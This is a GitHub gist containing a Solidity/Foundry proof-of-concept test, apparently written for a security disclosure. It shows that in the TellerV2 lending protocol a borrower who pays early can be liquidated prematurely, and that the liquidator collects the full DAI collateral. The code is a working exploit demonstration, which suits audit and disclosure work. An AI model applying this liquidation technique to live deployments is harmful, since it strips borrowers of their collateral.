Skip to content

Instantly share code, notes, and snippets.

@bzpassersby
Created April 22, 2023 14:23
Show Gist options
  • Save bzpassersby/cd1faaefb9b8c846588a81c56cd3d685 to your computer and use it in GitHub Desktop.
Save bzpassersby/cd1faaefb9b8c846588a81c56cd3d685 to your computer and use it in GitHub Desktop.
This is a proof of concept showing how a user who pays early on a loan payment could have their loan liquidated before the next payment due date.
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../contracts/TellerV2.sol";
import "../contracts/TellerV2Storage.sol";
import "../contracts/interfaces/IMarketRegistry.sol";
import "../contracts/interfaces/IReputationManager.sol";
import {ReputationManager} from "../contracts/ReputationManager.sol";
import {MarketRegistry} from "../contracts/MarketRegistry.sol";
import {LenderManager} from "../contracts/LenderManager.sol";
import "../contracts/CollateralManager.sol";
import "../contracts/mock/WethMock.sol";
import "../contracts/LenderCommitmentForwarder.sol";
import "../../contracts/escrow/CollateralEscrowV1.sol";
import "@openzeppelin/contracts/proxy/beacon/UpgradeableBeacon.sol";
import {Collateral} from "../../contracts/interfaces/escrow/ICollateralEscrowV1.sol";
import "./tokens/TestERC20Token.sol";
contract Borrower {
WethMock private weth;
TellerV2 private tellerV2;
TestERC20Token private daiMock;
CollateralManager private collateralManager;
constructor(
address _weth,
address _daiMock,
address _tellerV2,
address _collateralManager
) {
weth = WethMock(_weth);
daiMock = TestERC20Token(_daiMock);
tellerV2 = TellerV2(_tellerV2);
collateralManager = CollateralManager(_collateralManager);
}
function submitBidwithCollateral() external returns (uint256 bidId) {
Collateral memory info;
info._amount = 203827 ether; //Roughly 110 ETH worth of DAI (1 ETH = 1852 USD)
info._tokenId = 0;
info._collateralType = CollateralType.ERC20;
info._collateralAddress = address(daiMock);
Collateral[] memory collateralInfo = new Collateral[](1);
collateralInfo[0] = info;
daiMock.approve(address(collateralManager), 203827 ether);
bidId = tellerV2.submitBid(
address(weth), // lending token
1, // market ID
100 ether, // principal
14 days, // duration
500, // interest rate
"", // metadata URI
address(this), // receiver
collateralInfo
);
}
function repayLoanMin(uint256 loanId) external {
weth.approve(address(tellerV2), 110 ether);
tellerV2.repayLoanMinimum(loanId);
}
}
contract Lender {
WethMock private weth;
TellerV2 private tellerV2;
constructor(address _weth, address _tellerV2) {
weth = WethMock(_weth);
tellerV2 = TellerV2(_tellerV2);
}
function acceptBid(
uint256 bidId
)
external
returns (
uint256 amountToProtocol,
uint256 amountToMarketplace,
uint256 amountToBorrower
)
{
weth.approve(address(tellerV2), 110 ether);
(amountToProtocol, amountToMarketplace, amountToBorrower) = tellerV2
.lenderAcceptBid(bidId);
}
}
contract Liquidater {
WethMock private weth;
TellerV2 private tellerV2;
constructor(address _weth, address _tellerV2) {
weth = WethMock(_weth);
tellerV2 = TellerV2(_tellerV2);
}
function liquidateBid(
uint256 bidId
)
external
returns (
uint256 amountToProtocol,
uint256 amountToMarketplace,
uint256 amountToBorrower
)
{
weth.approve(address(tellerV2), 110 ether);
tellerV2.liquidateLoanFull(bidId);
}
}
contract PrematureLiquidationUserTest is Test {
WethMock private weth;
Borrower private borrower;
TestERC20Token private daiMock;
Lender private lender;
Liquidater private liquidater;
TellerV2 private tellerV2;
function setUp() public {
weth = new WethMock();
daiMock = new TestERC20Token("Dai", "DAI", 1000000 ether, 18);
tellerV2 = new TellerV2(address(0));
weth.deposit{value: 500 ether}();
// Deploy MarketRegistry & ReputationManager
IMarketRegistry marketRegistry = IMarketRegistry(new MarketRegistry());
IReputationManager reputationManager = IReputationManager(
new ReputationManager()
);
reputationManager.initialize(address(tellerV2));
// Deploy Escrow beacon
CollateralEscrowV1 escrowImplementation = new CollateralEscrowV1();
UpgradeableBeacon escrowBeacon = new UpgradeableBeacon(
address(escrowImplementation)
);
// Deploy Collateral manager
CollateralManager collateralManager = new CollateralManager();
collateralManager.initialize(address(escrowBeacon), address(tellerV2)); //// for this testing purpose, escrowBeacon is not used and set to address(0) for simplicity
LenderManager lenderManager = new LenderManager((marketRegistry));
borrower = new Borrower(
address(weth),
address(daiMock),
address(tellerV2),
address(collateralManager)
);
lender = new Lender(address(weth), address(tellerV2));
liquidater = new Liquidater(address(weth), address(tellerV2));
// Deploy LenderCommitmentForwarder
LenderCommitmentForwarder lenderCommitmentForwarder = new LenderCommitmentForwarder(
address(tellerV2),
address(marketRegistry)
);
// Initialize protocol
tellerV2.initialize(
50,
address(marketRegistry),
address(reputationManager),
address(lenderCommitmentForwarder),
address(collateralManager),
address(lenderManager)
);
// Create a market
marketRegistry.createMarket(
address(this), //user role: market owner
3 days, //paymentCycleDuration
3 days, //paymentDefaultDuration > paymentCycleDuration-LIQUIDATION_DELAY(1 day)
5000, //bid expiration time
500, //fee precent
false, // requireLenderAttestation
false, // requireBorrowerAttestation
PaymentType.EMI, // payment type
PaymentCycleType.Seconds, // payment cycle Type
"uri://"
);
weth.transfer(address(lender), 110 ether);
weth.transfer(address(liquidater), 110 ether);
daiMock.transfer(address(borrower), 203827 ether);
}
function test_Early_Liquidate_User() public {
require(daiMock.balanceOf(address(borrower)) == 203827 ether); //// Borrower starts with 203827 DAI as Collateral
require(weth.balanceOf(address(borrower)) == 0); //// Borrower starts with no wEth funds
require(weth.balanceOf(address(liquidater)) == 110 ether); //// Liquidator starts with 110 funds
// Borrower creates a bid
uint bidId = borrower.submitBidwithCollateral();
// Lender accepts the bid
(
uint256 amountToProtocol,
uint256 amountToMarketplace,
uint256 amountToBorrower
) = lender.acceptBid(bidId);
require(amountToBorrower != 0, "Lending failed");
console.log(amountToBorrower);
//logs: 94500000000000000000
require(weth.balanceOf(address(borrower)) == amountToBorrower); /// Borrower should have the funds
uint lastRepaidTimestamp = block.timestamp;
// Check if payment is late
require(!tellerV2.isPaymentLate(bidId)); //// no payment is required yet, user is not late on payment
skip(3600 * 1);
// User make first payment
borrower.repayLoanMin(bidId);
// Fast forward 5 days
skip(3600 * 24 * 5);
// Check if payment is late
require(!tellerV2.isPaymentLate(bidId)); //// no payment is required yet, user is not late on payment
// Liquidater liquidates the bid before payment is required
liquidater.liquidateBid(bidId);
assertEq(
weth.balanceOf(address(liquidater)) <
(110 ether - amountToBorrower),
true
); //// Liquidater paid off principal + interest
assertEq(daiMock.balanceOf(address(liquidater)), 203827 ether); //// Liquidater received collateral!
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment